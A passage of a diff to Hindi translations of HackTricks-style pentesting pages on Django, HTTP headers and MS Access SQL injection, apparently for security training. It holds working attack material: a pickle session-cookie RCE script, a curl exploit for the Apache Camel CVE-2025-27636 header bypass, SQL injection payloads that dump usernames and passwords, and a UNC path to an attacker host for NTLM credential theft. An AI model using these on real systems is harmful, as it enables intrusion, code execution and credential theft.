Django कैश चार स्थानों में से एक में संग्रहीत होता है: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), या [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)। Redis सर्वर या डेटाबेस में संग्रहीत कैश सबसे संभावित हमले के वेक्टर हैं (Redis इंजेक्शन और SQL इंजेक्शन), लेकिन एक हमलावर फ़ाइल-आधारित कैश का उपयोग करके मनमाने लिखने को RCE में बदलने में भी सक्षम हो सकता है। रखरखाव करने वालों ने इसे एक गैर-मुद्दा के रूप में चिह्नित किया है। यह ध्यान रखना महत्वपूर्ण है कि कैश फ़ाइल फ़ोल्डर, SQL तालिका का नाम, और Redis सर्वर का विवरण कार्यान्वयन के आधार पर भिन्न होगा।
|
||||
|
||||
@ -15,7 +15,7 @@ Django कैश चार स्थानों में से एक मे
|
||||
Django Template Language (DTL) **Turing-complete** है। यदि उपयोगकर्ता द्वारा प्रदान किया गया डेटा *टेम्पलेट स्ट्रिंग* के रूप में प्रस्तुत किया जाता है (उदाहरण के लिए `Template(user_input).render()` को कॉल करके या जब `|safe`/`format_html()` ऑटो-एस्केपिंग को हटा देता है), तो एक हमलावर पूर्ण SSTI → RCE प्राप्त कर सकता है।
|
||||
|
||||
### Detection
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()` के लिए डायनामिक कॉल की तलाश करें जो *किसी भी* असंक्रमित अनुरोध डेटा को शामिल करते हैं।
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()` के लिए डायनामिक कॉल की तलाश करें जो *कोई भी* असंक्रमित अनुरोध डेटा शामिल करते हैं।
|
||||
2. एक समय-आधारित या अंकगणितीय पेलोड भेजें:
|
||||
```django
|
||||
{{7*7}}
|
||||
@ -38,7 +38,7 @@ The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
यदि सेटिंग `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` सक्षम है (या एक कस्टम सीरियलाइज़र जो पिक्ल को डीसिरियलाइज करता है), तो Django *सत्र कुकी को डिक्रिप्ट और अनपिक्ल करता है* **पहले** किसी भी व्यू कोड को कॉल करने से। इसलिए, एक मान्य साइनिंग की (डिफ़ॉल्ट रूप से प्रोजेक्ट `SECRET_KEY`) होना तत्काल रिमोट कोड निष्पादन के लिए पर्याप्त है।
|
||||
यदि सेटिंग `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` सक्षम है (या एक कस्टम सीरियलाइज़र जो पिक्ल को डीसिरियलाइज़ करता है), तो Django *सत्र कुकी को डिक्रिप्ट और अनपिक्ल* करता है **पहले** किसी भी व्यू कोड को कॉल करने से। इसलिए, एक मान्य साइनिंग की (डिफ़ॉल्ट रूप से प्रोजेक्ट `SECRET_KEY`) होना तत्काल रिमोट कोड निष्पादन के लिए पर्याप्त है।
|
||||
|
||||
### Exploit Requirements
|
||||
* सर्वर `PickleSerializer` का उपयोग करता है।
|
||||
@ -58,14 +58,14 @@ return (os.system, ("id > /tmp/pwned",))
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
कुकी भेजें, और पेलोड WSGI कार्यकर्ता की अनुमतियों के साथ चलता है।
|
||||
संबंधित कुकी भेजें, और पेलोड WSGI कार्यकर्ता की अनुमतियों के साथ चलता है।
|
||||
|
||||
**निवारण**: डिफ़ॉल्ट `JSONSerializer` को बनाए रखें, `SECRET_KEY` को घुमाएँ, और `SESSION_COOKIE_HTTPONLY` को कॉन्फ़िगर करें।
|
||||
|
||||
---
|
||||
|
||||
## हालिया (2023-2025) उच्च-प्रभाव वाले Django CVEs जिनकी जांच पेंटेस्टर्स को करनी चाहिए
|
||||
* **CVE-2025-48432** – *अनएस्केप्ड `request.path` के माध्यम से लॉग इंजेक्शन* (4 जून 2025 को ठीक किया गया)। हमलावरों को लॉग फ़ाइलों में नई पंक्तियाँ/ANSI कोड स्मगल करने की अनुमति देता है और डाउनस्ट्रीम लॉग विश्लेषण को विषाक्त करता है। पैच स्तर ≥ 4.2.22 / 5.1.10 / 5.2.2।
|
||||
* **CVE-2025-48432** – *अनएस्केप्ड `request.path` के माध्यम से लॉग इंजेक्शन* (4 जून 2025 को ठीक किया गया)। हमलावरों को लॉग फ़ाइलों में नई पंक्तियाँ/ANSI कोड स्मगल करने और डाउनस्ट्रीम लॉग विश्लेषण को विषाक्त करने की अनुमति देता है। पैच स्तर ≥ 4.2.22 / 5.1.10 / 5.2.2।
|
||||
* **CVE-2024-42005** – *`JSONField` पर `QuerySet.values()/values_list()` में महत्वपूर्ण SQL इंजेक्शन* (CVSS 9.8)। JSON कुंजी बनाएं ताकि उद्धरण से बाहर निकल सकें और मनमाना SQL निष्पादित कर सकें। 4.2.15 / 5.0.8 में ठीक किया गया।
|
||||
|
||||
हमेशा `X-Frame-Options` त्रुटि पृष्ठ या `/static/admin/css/base.css` हैश के माध्यम से सटीक ढाँचा संस्करण की पहचान करें और जहाँ लागू हो, उपरोक्त का परीक्षण करें।
|
||||
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
|
||||
* Django सुरक्षा रिलीज़ – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432 को संबोधित करते हैं" – 4 जून 2025।
|
||||
* OP-Innovate: "Django SQL इंजेक्शन दोष CVE-2024-42005 को संबोधित करने के लिए सुरक्षा अपडेट जारी करता है" – 11 अगस्त 2024।
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -59,9 +59,9 @@
|
||||
- **`X-Cache`** में प्रतिक्रिया का मान **`miss`** हो सकता है जब अनुरोध कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है
|
||||
- हेडर **`Cf-Cache-Status`** में समान व्यवहार
|
||||
- **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में इंगित करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों।
|
||||
- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकीड न हों।
|
||||
- **`Age`** उस समय को परिभाषित करता है जो वस्तु प्रॉक्सी कैश में रही है।
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी इंगित करता है कि एक संसाधन कैश किया गया था
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी संकेत करता है कि एक संसाधन कैश किया गया था
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -69,24 +69,24 @@
|
||||
|
||||
**स्थानीय कैश हेडर**:
|
||||
|
||||
- `Clear-Site-Data`: हेडर जो यह इंगित करता है कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: उस दिन/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Clear-Site-Data`: हेडर जो संकेत करता है कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: उस दिनांक/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` `Cache-Control: no-cache` के समान
|
||||
- `Warning`: सामान्य HTTP हेडर **`Warning`** संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## कंडीशनल्स
|
||||
## शर्तें
|
||||
|
||||
- इन हेडरों का उपयोग करने वाले अनुरोध: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ उत्तर दिया जाएगा जब प्रतिक्रिया हेडर **`Last-Modified`** में एक अलग समय हो।
|
||||
- **`If-Match`** और **`If-None-Match`** का उपयोग करने वाले कंडीशनल अनुरोध एक Etag मान का उपयोग करते हैं ताकि वेब सर्वर प्रतिक्रिया की सामग्री भेजे यदि डेटा (Etag) बदल गया है। `Etag` HTTP प्रतिक्रिया से लिया जाता है।
|
||||
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह इंगित करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
|
||||
- **`If-Match`** और **`If-None-Match`** का उपयोग करने वाले शर्तीय अनुरोध एक Etag मान का उपयोग करते हैं ताकि वेब सर्वर प्रतिक्रिया की सामग्री भेजे यदि डेटा (Etag) बदल गया है। `Etag` HTTP प्रतिक्रिया से लिया जाता है।
|
||||
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह संकेत करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
|
||||
|
||||
## रेंज अनुरोध
|
||||
|
||||
- **`Accept-Ranges`**: यह इंगित करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: यह उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के 80 से 100 बाइट्स को 206 आंशिक सामग्री के स्थिति कोड के साथ लौटाएगा। अनुरोध से `Accept-Encoding` हेडर को हटाना भी याद रखें।
|
||||
- **`Accept-Ranges`**: संकेत करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के 80 से 100 बाइट्स को 206 Partial Content स्थिति कोड के साथ लौटाएगा। अनुरोध से `Accept-Encoding` हेडर को हटाना भी याद रखें।
|
||||
- यह एक प्रतिक्रिया प्राप्त करने के लिए उपयोगी हो सकता है जिसमें मनमाने रूप से परावर्तित जावास्क्रिप्ट कोड हो जो अन्यथा बचाया जा सकता है। लेकिन इसका दुरुपयोग करने के लिए आपको अनुरोध में ये हेडर इंजेक्ट करने की आवश्यकता होगी।
|
||||
- **`If-Range`**: एक कंडीशनल रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। इसका उपयोग संसाधन के असंगत संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए किया जाता है।
|
||||
- **`Content-Range`**: यह इंगित करता है कि एक पूर्ण शरीर संदेश में आंशिक संदेश कहाँ संबंधित है।
|
||||
- **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। असंगत संसाधन के संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए उपयोग किया जाता है।
|
||||
- **`Content-Range`**: यह इंगित करता है कि एक पूर्ण शरीर संदेश में एक आंशिक संदेश कहाँ संबंधित है।
|
||||
|
||||
## संदेश शरीर की जानकारी
|
||||
|
||||
@ -109,11 +109,11 @@
|
||||
## नियंत्रण
|
||||
|
||||
- **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे `Allow: GET, POST, HEAD` के रूप में निर्दिष्ट किया जा सकता है, जो इंगित करता है कि संसाधन इन विधियों का समर्थन करता है।
|
||||
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी चाहिए, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है।
|
||||
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी चाहिए, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की प्रतीक्षा करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है।
|
||||
|
||||
## डाउनलोड
|
||||
|
||||
- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल **इनलाइन** (वेबपृष्ठ के भीतर) प्रदर्शित की जानी चाहिए या एक **संलग्नक** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए:
|
||||
- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल को **inline** (वेबपृष्ठ के भीतर) प्रदर्शित किया जाना चाहिए या एक **संलग्नक** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों का कारण बन सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें।
|
||||
यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों की ओर ले जा सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें।
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
@ -181,23 +181,23 @@ Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 defines header field‐names as **case-insensitive** (RFC 9110 §5.1). Nevertheless, यह बहुत सामान्य है कि कस्टम मिडलवेयर, सुरक्षा फ़िल्टर, या व्यावसायिक लॉजिक मिलते हैं जो *literal* हेडर नाम की तुलना करते हैं जो पहले casing को सामान्य किए बिना प्राप्त होता है (जैसे `header.equals("CamelExecCommandExecutable")`)। यदि ये जांचें **case-sensitively** की जाती हैं, तो एक हमलावर उन्हें बस एक अलग पूंजीकरण के साथ वही हेडर भेजकर बायपास कर सकता है।
|
||||
HTTP/1.1 header field-नामों को **केस-इंसेंसिटिव** के रूप में परिभाषित करता है (RFC 9110 §5.1)। फिर भी, यह बहुत सामान्य है कि कस्टम मिडलवेयर, सुरक्षा फ़िल्टर, या व्यावसायिक लॉजिक जो *शाब्दिक* हेडर नाम की तुलना करते हैं, पहले केस को सामान्य किए बिना (जैसे `header.equals("CamelExecCommandExecutable")`)। यदि ये जांचें **केस-सेंसिटिवली** की जाती हैं, तो एक हमलावर उन्हें बस एक अलग पूंजीकरण के साथ वही हेडर भेजकर बायपास कर सकता है।
|
||||
|
||||
इस गलती के प्रकट होने वाली सामान्य स्थितियाँ:
|
||||
|
||||
* कस्टम अनुमति/अस्वीकृति सूचियाँ जो "खतरनाक" आंतरिक हेडर को ब्लॉक करने की कोशिश करती हैं इससे पहले कि अनुरोध एक संवेदनशील घटक तक पहुंचे।
|
||||
* इन-हाउस कार्यान्वयन जो रिवर्स-प्रॉक्सी pseudo-headers (जैसे `X-Forwarded-For` sanitisation) का उपयोग करते हैं।
|
||||
* कस्टम अनुमति/निषेध सूचियाँ जो संवेदनशील घटक तक पहुँचने से पहले "खतरनाक" आंतरिक हेडर को ब्लॉक करने की कोशिश करती हैं।
|
||||
* इन-हाउस रिवर्स-प्रॉक्सी pseudo-headers (जैसे `X-Forwarded-For` की सफाई) का कार्यान्वयन।
|
||||
* फ्रेमवर्क जो प्रबंधन / डिबग एंडपॉइंट्स को उजागर करते हैं और प्रमाणीकरण या कमांड चयन के लिए हेडर नामों पर निर्भर करते हैं।
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. एक हेडर की पहचान करें जो सर्वर-साइड पर फ़िल्टर या मान्य किया जाता है (उदाहरण के लिए, स्रोत कोड, दस्तावेज़, या त्रुटि संदेश पढ़कर)।
|
||||
2. **विभिन्न casing** (mixed-case या upper-case) के साथ वही हेडर भेजें। क्योंकि HTTP स्टैक्स आमतौर पर हेडर को केवल *user code चलने के बाद* मानकीकरण करते हैं, इसलिए कमजोर जांच को छोड़ दिया जा सकता है।
|
||||
3. यदि डाउनस्ट्रीम घटक हेडर को case-insensitive तरीके से संभालता है (अधिकतर ऐसा करते हैं), तो यह हमलावर-नियंत्रित मान को स्वीकार करेगा।
|
||||
2. **विभिन्न केस के साथ वही हेडर भेजें** (मिश्रित-केस या अपर-केस)। क्योंकि HTTP स्टैक्स आमतौर पर हेडर को केवल *उपयोगकर्ता कोड चलने के बाद* मानकीकरण करते हैं, कमजोर जांच को छोड़ दिया जा सकता है।
|
||||
3. यदि डाउनस्ट्रीम घटक हेडर को केस-इंसेंसिटिव तरीके से मानता है (अधिकतर ऐसा ही होता है), तो यह हमलावर-नियंत्रित मान को स्वीकार करेगा।
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
कमजोर संस्करणों में Apache Camel के *Command Center* रूट्स अनट्रस्टेड अनुरोधों को ब्लॉक करने की कोशिश करते हैं `CamelExecCommandExecutable` और `CamelExecCommandArgs` हेडर को हटा कर। तुलना `equals()` के साथ की गई थी इसलिए केवल सटीक लोअरकेस नामों को हटाया गया।
|
||||
Apache Camel के कमजोर संस्करणों में *Command Center* रूट्स अविश्वसनीय अनुरोधों को ब्लॉक करने की कोशिश करते हैं, हेडर `CamelExecCommandExecutable` और `CamelExecCommandArgs` को हटा कर। तुलना `equals()` के साथ की गई थी, इसलिए केवल सटीक लोअरकेस नामों को हटाया गया।
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
@ -209,7 +209,7 @@ curl "http://<IP>/command-center" \
|
||||
### पहचान और शमन
|
||||
|
||||
* सभी हेडर नामों को एकल केस (आमतौर पर लोअरकेस) में सामान्यीकृत करें **पहले** अनुमति/अस्वीकृति तुलना करने से।
|
||||
* संदिग्ध डुप्लिकेट अस्वीकार करें: यदि दोनों `Header:` और `HeAdEr:` मौजूद हैं, तो इसे एक विसंगति के रूप में मानें।
|
||||
* संदिग्ध डुप्लिकेट्स को अस्वीकार करें: यदि दोनों `Header:` और `HeAdEr:` मौजूद हैं, तो इसे एक विसंगति के रूप में मानें।
|
||||
* सकारात्मक अनुमति-सूची का उपयोग करें जो **कैनोनिकलाइजेशन** के बाद लागू की जाती है।
|
||||
* प्रबंधन अंत बिंदुओं को प्रमाणीकरण और नेटवर्क विभाजन के साथ सुरक्षित करें।
|
||||
|
||||
|
@ -39,8 +39,8 @@ MS Access में कोई टिप्पणियाँ नहीं है
|
||||
|
||||
## UNION Queries/Sub queries
|
||||
|
||||
एक SQLi में आप आमतौर पर किसी न किसी तरह से एक नया क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा यह आवश्यक करता है कि **उप-प्रश्नों या अतिरिक्त प्रश्नों में एक `FROM` निर्दिष्ट किया जाए**।\
|
||||
तो, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक `SELECT` को एक स्थिति में कोष्ठक के बीच निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ एक `FROM` निर्दिष्ट करने की आवश्यकता होती है**।\
|
||||
एक SQLi में आप आमतौर पर किसी न किसी तरह से एक नई क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा यह आवश्यक करता है कि **उपक्वेरियों या अतिरिक्त क्वेरियों में एक `FROM` निर्दिष्ट किया जाए**।\
|
||||
तो, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक `SELECT` कोष्ठक में एक शर्त में निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ `FROM` निर्दिष्ट करने की आवश्यकता होती है**।\
|
||||
इसलिए, आपको एक **मान्य तालिका नाम** जानना आवश्यक है।
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
@ -56,7 +56,7 @@ MS Access में कोई टिप्पणियाँ नहीं है
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
यदि आप **टेबल का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` के बीच एक संयोजन का उपयोग कर सकते हैं ताकि **सभी जानकारी लीक** की जा सके बूलियन SQLi के माध्यम से:
|
||||
यदि आप **टेबल का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` के बीच एक संयोजन का उपयोग कर सकते हैं ताकि **सभी जानकारी लीक** की जा सके boolean SQLi के माध्यम से:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -95,33 +95,33 @@ _इसका ऑनलाइन प्लेग्राउंड में ज
|
||||
```
|
||||
### Dumping data
|
||||
|
||||
हम पहले ही [**चेनिंग इक्वल्स तकनीक**](ms-access-sql-injection.md#chaining-equals-+-substring) **से वर्तमान और अन्य तालिकाओं से डेटा निकालने** पर चर्चा कर चुके हैं। लेकिन अन्य तरीके भी हैं:
|
||||
हम पहले ही [**चेनिंग इक्वल्स तकनीक**](ms-access-sql-injection.md#chaining-equals-+-substring) **का उपयोग करके वर्तमान और अन्य तालिकाओं से डेटा निकालने** पर चर्चा कर चुके हैं। लेकिन अन्य तरीके भी हैं:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
संक्षेप में, क्वेरी एक "if-then" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" या अन्यथा "500 Internal Error" को ट्रिगर किया जा सके। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST का बाद का उपयोग केवल 10वें ट्यूपल पर विचार करने की अनुमति देता है। ऐसे मान पर, MID ऑपरेटर का उपयोग करके, एक साधारण वर्ण तुलना करना संभव है। MID और TOP के इंडेक्स को सही ढंग से बदलकर, हम सभी पंक्तियों के "username" फ़ील्ड की सामग्री को डंप कर सकते हैं।
|
||||
संक्षेप में, क्वेरी एक "if-then" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" या अन्यथा "500 Internal Error" को ट्रिगर किया जा सके। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST का बाद का उपयोग केवल 10वें ट्यूपल पर विचार करने की अनुमति देता है। ऐसे मान पर, MID ऑपरेटर का उपयोग करके, एक साधारण वर्ण तुलना करना संभव है। MID और TOP के इंडेक्स को सही ढंग से बदलकर, हम "username" फ़ील्ड की सामग्री को सभी पंक्तियों के लिए डंप कर सकते हैं।
|
||||
|
||||
### Time-Based (Blind) Tricks
|
||||
|
||||
Jet/ACE SQL स्वयं एक मूल `SLEEP()` या `WAITFOR` फ़ंक्शन को **प्रकट** नहीं करता है, इसलिए पारंपरिक समय-आधारित ब्लाइंड इंजेक्शन सीमित हैं। हालाँकि, आप अभी भी एक मापनीय देरी पेश कर सकते हैं, जिससे इंजन को एक **नेटवर्क संसाधन तक पहुँचने के लिए मजबूर किया जाता है जो धीमा है या उत्तर नहीं देता**। क्योंकि इंजन परिणाम लौटाने से पहले फ़ाइल खोलने की कोशिश करेगा, HTTP प्रतिक्रिया समय हमलावर-नियंत्रित होस्ट तक राउंड-ट्रिप विलंबता को दर्शाता है।
|
||||
Jet/ACE SQL स्वयं एक मूल `SLEEP()` या `WAITFOR` फ़ंक्शन को **नहीं** उजागर करता है, इसलिए पारंपरिक समय-आधारित ब्लाइंड इंजेक्शन सीमित हैं। हालाँकि, आप अभी भी एक मापनीय देरी पेश कर सकते हैं, जिससे इंजन को **एक नेटवर्क संसाधन तक पहुँचने के लिए मजबूर किया जाता है जो धीमा है या उत्तर नहीं देता**। क्योंकि इंजन परिणाम लौटाने से पहले फ़ाइल खोलने की कोशिश करेगा, HTTP प्रतिक्रिया समय हमलावर-नियंत्रित होस्ट तक राउंड-ट्रिप विलंबता को दर्शाता है।
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
UNC पथ को इंगित करें:
|
||||
|
||||
* एक SMB शेयर जो उच्च-लेटेंसी लिंक के पीछे है
|
||||
* एक होस्ट जो `SYN-ACK` के बाद TCP हैंडशेक को ड्रॉप करता है
|
||||
* एक उच्च-लेटेंसी लिंक के पीछे SMB शेयर
|
||||
* एक होस्ट जो `SYN-ACK` के बाद TCP हैंडशेक को गिराता है
|
||||
* एक फ़ायरवॉल सिंकहोल
|
||||
|
||||
दूरस्थ लुकअप द्वारा पेश किए गए अतिरिक्त सेकंड को **आउट-ऑफ-बैंड टाइमिंग ओरेकल** के रूप में उपयोग किया जा सकता है बूलियन स्थितियों के लिए (जैसे, केवल तब धीमा पथ चुनें जब इंजेक्ट किया गया प्रीडिकेट सत्य हो)। Microsoft दूरस्थ डेटाबेस व्यवहार और संबंधित रजिस्ट्री किल-स्विच को KB5002984 में दस्तावेज करता है। citeturn1search0
|
||||
|
||||
### अन्य दिलचस्प कार्य
|
||||
|
||||
- `Mid('admin',1,1)` स्थिति 1 से सबस्ट्रिंग प्राप्त करें लंबाई 1 (प्रारंभिक स्थिति 1 है)
|
||||
- `Mid('admin',1,1)` स्थिति 1 से लंबाई 1 का उपस्ट्रिंग प्राप्त करें (प्रारंभिक स्थिति 1 है)
|
||||
- `LEN('1234')` स्ट्रिंग की लंबाई प्राप्त करें
|
||||
- `ASC('A')` वर्ण का ASCII मान प्राप्त करें
|
||||
- `CHR(65)` ASCII मान से स्ट्रिंग प्राप्त करें
|
||||
- `IIF(1=1,'a','b')` यदि तब
|
||||
- `IIF(1=1,'a','b')` यदि तो
|
||||
- `COUNT(*)` आइटम की संख्या गिनें
|
||||
|
||||
## तालिकाओं की गणना करना
|
||||
@ -136,7 +136,7 @@ and MSysObjects.name not like '~*'
|
||||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
हालांकि, ध्यान दें कि SQL Injections पाना बहुत सामान्य है जहाँ आपके पास **`MSysObjects`` तालिका को पढ़ने का एक्सेस नहीं है**।
|
||||
हालांकि, ध्यान दें कि SQL इंजेक्शन पाना बहुत सामान्य है जहाँ आपके पास **`MSysObjects`` तालिका को पढ़ने का एक्सेस नहीं है**।
|
||||
|
||||
## फ़ाइल सिस्टम एक्सेस
|
||||
|
||||
@ -168,14 +168,14 @@ MS Access एक **त्रुटि संदेश के साथ प्र
|
||||
|
||||
### दूरस्थ डेटाबेस एक्सेस और NTLM क्रेडेंशियल चोरी (2023)
|
||||
|
||||
चूंकि Jet 4.0, हर क्वेरी एक *विभिन्न* `.mdb/.accdb` फ़ाइल में स्थित तालिका को `IN '<path>'` क्लॉज के माध्यम से संदर्भित कर सकती है:
|
||||
चूंकि Jet 4.0 हर क्वेरी एक *विभिन्न* `.mdb/.accdb` फ़ाइल में स्थित तालिका को संदर्भित कर सकती है `IN '<path>'` क्लॉज के माध्यम से:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
यदि उपयोगकर्ता इनपुट को **IN** के बाद के भाग में (या `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` कॉल में) जोड़ा जाता है, तो एक हमलावर एक **UNC पथ** निर्दिष्ट कर सकता है जो एक होस्ट की ओर इशारा करता है जिसे वे नियंत्रित करते हैं। इंजन:
|
||||
|
||||
